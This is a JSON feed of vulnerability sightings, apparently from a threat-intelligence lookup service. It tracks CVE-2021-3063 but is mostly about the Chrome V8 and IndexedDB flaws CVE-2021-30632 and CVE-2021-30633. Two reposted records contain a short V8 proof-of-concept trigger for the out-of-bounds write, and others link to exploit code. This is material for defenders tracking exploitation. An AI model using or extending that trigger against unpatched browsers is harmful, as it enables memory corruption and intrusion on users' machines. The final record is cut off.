{"vulnerability": "CVE-2021-3063", "sightings": [{"uuid": "77457e61-a55c-4676-b754-e1b4c438d1bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:17.000000Z"}, {"uuid": "34481b50-2e87-47d1-98fd-ceab34033d47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:17.000000Z"}, {"uuid": "cf019e5c-0d40-400c-8e11-cf4a572f5b3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "c760e345-2551-4d61-a07a-db82e0facc70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "ab751b87-cbf6-47b7-bd16-a96c596ef758", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30637", "type": "seen", "source": "MISP/453892aa-3b77-4a2b-b7b4-5f905765d7a8", "content": "", "creation_timestamp": "2024-11-14T06:08:54.000000Z"}, {"uuid": "410e2cea-24e7-4f3c-876a-d114dcdaa44f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "MISP/9158c3eb-dab2-464e-ab2a-ba0e67ddb39f", "content": "", "creation_timestamp": "2024-11-14T06:10:07.000000Z"}, {"uuid": "92c08f8e-76b0-44e6-b9cf-9fb96a3dc4c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971074", "content": "", "creation_timestamp": "2024-12-24T20:23:53.025884Z"}, {"uuid": "afac81a5-ad5f-48cd-9b41-cd36a24324ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971076", "content": "", "creation_timestamp": "2024-12-24T20:23:54.530960Z"}, {"uuid": "ca720890-16e7-4b1b-aa4c-f50c7f76112e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:54.000000Z"}, {"uuid": "4aed1096-50e2-4238-9565-32635a2716f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:54.000000Z"}, {"uuid": "0e1fedc3-66f8-49ba-a796-fa84044abe64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=648", "content": "", "creation_timestamp": "2021-09-14T04:00:00.000000Z"}, {"uuid": "0f9a3e92-27fa-469d-89c2-5e780f8e667c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=647", "content": "", "creation_timestamp": "2021-09-14T04:00:00.000000Z"}, {"uuid": "764e54de-98ef-4358-b9d2-b648b570a11e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=647", "content": "", "creation_timestamp": "2021-09-14T04:00:00.000000Z"}, {"uuid": "8d3ad87b-3f46-469a-a364-e1ceaeb96bfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=652", "content": "", "creation_timestamp": "2021-09-17T04:00:00.000000Z"}, {"uuid": "0f9c1f57-b95d-4227-a911-ddb45d573b31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-30633", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3a012bbc-3029-4044-afae-7815837c96dd", "content": "", "creation_timestamp": "2026-02-02T12:28:45.086196Z"}, {"uuid": "a9797577-0c83-4587-be53-038e6dcf72a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-30632", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a639844a-976e-4b09-826d-de7e8f829f70", "content": "", "creation_timestamp": "2026-02-02T12:28:44.886594Z"}, {"uuid": "fed7058d-fbb6-4cbb-b7c9-b5aba1bd368c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "published-proof-of-concept", "source": "https://t.me/cKure/7095", "content": "\u25a0\u25a0\u25a1\u25a1\u25a1 CVE-2021-30632: Chrome Zero-day PoC\n\nvar a;\nfunction foo() {\n    a = new Uint32Array(100);\n}\n%PrepareFunctionForOptimization(foo);\nfoo();\nfoo();\na[\"xxx\"] =1;\ndelete a[\"xxx\"];\n%OptimizeFunctionOnNextCall(foo);\nfoo();\n\nSource: Twitter | 0day sniper", "creation_timestamp": "2021-09-15T08:38:30.000000Z"}, {"uuid": "e727df4c-ab4b-49df-a042-4d6441ddfeaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "published-proof-of-concept", "source": "https://t.me/cKure/7169", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Zero-Day: PoC CVE-2021-30632 - Out of bounds write in V8.\n\nTested against Samsung Internet Browser v15.0.2.47, which does not yet have Google's patch.\n\nhttps://github.com/Phuong39/PoC-CVE-2021-30632", "creation_timestamp": "2021-09-20T17:45:05.000000Z"}, {"uuid": "18827d6c-3a8c-45a5-a3e8-98a3a3d2de4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "published-proof-of-concept", "source": "https://t.me/R0_Crew/2026", "content": "CVE-2021-30632 Chrome V8 RCE Exploit for Windows\n\nhttps://forum.reverse4you.org/t/cve-2021-30632-chrome-v8-rce-exploit-for-windows/17286\n\n#expdev #windows #browser #chrome #v8 #rce #hottabych", "creation_timestamp": "2022-05-29T19:06:57.000000Z"}, {"uuid": "90cc1fc0-ad0d-4409-9129-c7b69a4e2286", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "https://t.me/arpsyndicate/1262", "content": "#ExploitObserverAlert\n\nCVE-2021-30632\n\nDESCRIPTION: Exploit Observer has 17 entries related to CVE-2021-30632. Out of bounds write in V8 in Google Chrome prior to 93.0.4577.82 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\nFIRST-EPSS: 0.663980000\nNVD-IS: 5.9\nNVD-ES: 2.8", "creation_timestamp": "2023-12-04T17:27:45.000000Z"}, {"uuid": "eb23258a-7f56-4e55-b496-0ec56f610650", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "https://t.me/arpsyndicate/2737", "content": "#ExploitObserverAlert\n\nCVE-2021-30633\n\nDESCRIPTION: Exploit Observer has 6 entries related to CVE-2021-30633. Use after free in Indexed DB API in Google Chrome prior to 93.0.4577.82 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page.\n\nFIRST-EPSS: 0.004470000\nNVD-IS: 6.0\nNVD-ES: 2.8", "creation_timestamp": "2024-01-09T09:02:33.000000Z"}, {"uuid": "9b04287c-b833-4d8b-ad20-080c924c72cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "published-proof-of-concept", "source": "https://t.me/BlackHut_Egy/1254", "content": "CVE-2021-30632 #Chrome #0day #PoC \n\nvar a;\nfunction foo() {\n    a = new Uint32Array(100);\n}\n%PrepareFunctionForOptimization(foo);\nfoo();\nfoo();\na[\"xxx\"] =1;\ndelete a[\"xxx\"];\n%OptimizeFunctionOnNextCall(foo);\nfoo();\n\n#Abdo_Virus \n#zero_Day_vuln\n#explot_code", "creation_timestamp": "2021-12-16T05:50:26.000000Z"}, {"uuid": "1619e2d4-3051-4f60-8ff7-45378915b2ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "published-proof-of-concept", "source": "https://t.me/hacker_trick/206", "content": "#PoC CVE-2021-30632 - Out of bounds write in V8\nTested against Samsung Internet Browser v15.0.2.47, which does not yet have Google's patch\n\nhttps://github.com/Phuong39/PoC-CVE-2021-30632", "creation_timestamp": "2021-09-22T14:46:03.000000Z"}, {"uuid": "028cb26c-6943-433f-9335-c05a529b1afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "exploited", "source": "https://t.me/true_secator/2098", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 93.0.4577.82 \u0434\u043b\u044f Windows, Mac \u0438 Linux, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 11 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 CVE-2021-30632 \u0438 CVE-2021-30633 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u00ab\u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f\u00bb \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435. \u041e\u0434\u043d\u0430\u043a\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e.\n\n\u0421\u0430\u043c\u044b\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b Google 8 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2021 \u0431\u0435\u0437 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u0430\u0432\u0442\u043e\u0440\u0430 \u0438 \u043e\u0431\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438 \u043f\u0430\u043c\u044f\u0442\u0438: CVE-2021-30632 - \u044d\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8, \u0430 CVE-2021-30633 - \u044d\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Indexed DB API. \u0411\u0430\u0433\u0438 \u043f\u0440\u0438 \u043e\u043f\u043b\u0435\u0442\u0451\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439.\n\n\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, Google \u043f\u0430\u0442\u0447\u0438\u0442 \u0443\u0436\u0435 10 zeroday \u0432 Chrome \u0437\u0430 \u044d\u0442\u043e\u0442 \u0433\u043e\u0434. \n\n\u0422\u0435\u043f\u0435\u0440\u044c, \u043a\u043e\u0433\u0434\u0430 \u043e\u043d\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0431\u0443\u0434\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0441\u0442\u0438. \u0410 \u044d\u0442\u043e \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u0442\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0443\u0434\u0435\u043b\u044f\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430.  Chrome \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u044f\u0432\u043d\u044b\u043c \u0444\u0430\u0432\u043e\u0440\u0438\u0442\u043e\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u0430\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u041e\u0421.\n\n\u0422\u0430\u043a \u0447\u0442\u043e, \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Google Chrome \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0434\u0430\u0431\u044b \u043d\u0435 \u0443\u0437\u043d\u0430\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u0441\u0435\u0431\u0435.", "creation_timestamp": "2021-09-14T10:58:48.000000Z"}, {"uuid": "15dd66ad-3738-4608-9421-1b049c4bd25e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "exploited", "source": "https://t.me/true_secator/2098", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 93.0.4577.82 \u0434\u043b\u044f Windows, Mac \u0438 Linux, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 11 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 CVE-2021-30632 \u0438 CVE-2021-30633 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u00ab\u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f\u00bb \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435. \u041e\u0434\u043d\u0430\u043a\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e.\n\n\u0421\u0430\u043c\u044b\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b Google 8 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2021 \u0431\u0435\u0437 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u0430\u0432\u0442\u043e\u0440\u0430 \u0438 \u043e\u0431\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438 \u043f\u0430\u043c\u044f\u0442\u0438: CVE-2021-30632 - \u044d\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8, \u0430 CVE-2021-30633 - \u044d\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Indexed DB API. \u0411\u0430\u0433\u0438 \u043f\u0440\u0438 \u043e\u043f\u043b\u0435\u0442\u0451\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439.\n\n\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, Google \u043f\u0430\u0442\u0447\u0438\u0442 \u0443\u0436\u0435 10 zeroday \u0432 Chrome \u0437\u0430 \u044d\u0442\u043e\u0442 \u0433\u043e\u0434. \n\n\u0422\u0435\u043f\u0435\u0440\u044c, \u043a\u043e\u0433\u0434\u0430 \u043e\u043d\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0431\u0443\u0434\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0441\u0442\u0438. \u0410 \u044d\u0442\u043e \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u0442\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0443\u0434\u0435\u043b\u044f\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430.  Chrome \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u044f\u0432\u043d\u044b\u043c \u0444\u0430\u0432\u043e\u0440\u0438\u0442\u043e\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u0430\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u041e\u0421.\n\n\u0422\u0430\u043a \u0447\u0442\u043e, \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Google Chrome \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0434\u0430\u0431\u044b \u043d\u0435 \u0443\u0437\u043d\u0430\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u0441\u0435\u0431\u0435.", "creation_timestamp": "2021-09-14T10:58:48.000000Z"}, {"uuid": "4e8ed426-7668-4041-b6fe-89d6c60561d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3063", "type": "seen", "source": "https://t.me/cibsecurity/32198", "content": "\u203c CVE-2021-3063 \u203c\n\nAn improper handling of exceptional conditions vulnerability exists in Palo Alto Networks GlobalProtect portal and gateway interfaces that enables an unauthenticated network-based attacker to send specifically crafted traffic to a GlobalProtect interface that causes the service to stop responding. Repeated attempts to send this request result in denial of service to all PAN-OS services by restarting the device and putting it into maintenance mode. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.21; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14-h4; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11-h3; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8-h4; PAN-OS 10.1 versions earlier than PAN-OS 10.1.3. Prisma Access customers are not impacted by this issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-11-10T20:36:51.000000Z"}, {"uuid": "826d604a-94f5-4789-85d1-2c3d60fa80df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "https://t.me/cibsecurity/30277", "content": "\u203c CVE-2021-30632 \u203c\n\nOut of bounds write in V8 in Google Chrome prior to 93.0.4577.82 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-09T00:40:32.000000Z"}, {"uuid": "b366513c-27d6-4795-85dc-607d5ce41ec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "https://t.me/cibsecurity/30286", "content": "\u203c CVE-2021-30633 \u203c\n\nUse after free in Indexed DB API in Google Chrome prior to 93.0.4577.82 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-09T00:40:41.000000Z"}, {"uuid": "6628310f-fb80-4a25-b5e2-185025b49751", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30630", "type": "seen", "source": "https://t.me/cibsecurity/30284", "content": "\u203c CVE-2021-30630 \u203c\n\nInappropriate implementation in Blink in Google Chrome prior to 93.0.4577.82 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-09T00:40:39.000000Z"}, {"uuid": "1e93dfbb-094a-479a-b7e9-e9cd7d885371", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30639", "type": "seen", "source": "https://t.me/cibsecurity/26063", "content": "\u203c CVE-2021-30639 \u203c\n\nA vulnerability in Apache Tomcat allows an attacker to remotely trigger a denial of service. An error introduced as part of a change to improve error handling during non-blocking I/O meant that the error flag associated with the Request object was not reset between requests. This meant that once a non-blocking I/O error occurred, all future requests handled by that request object would fail. Users were able to trigger non-blocking I/O errors, e.g. by dropping a connection, thereby creating the possibility of triggering a DoS. Applications that do not use non-blocking I/O are not exposed to this vulnerability. This issue affects Apache Tomcat 10.0.3 to 10.0.4; 9.0.44; 8.5.64.\n\n\ud83d\udcd6 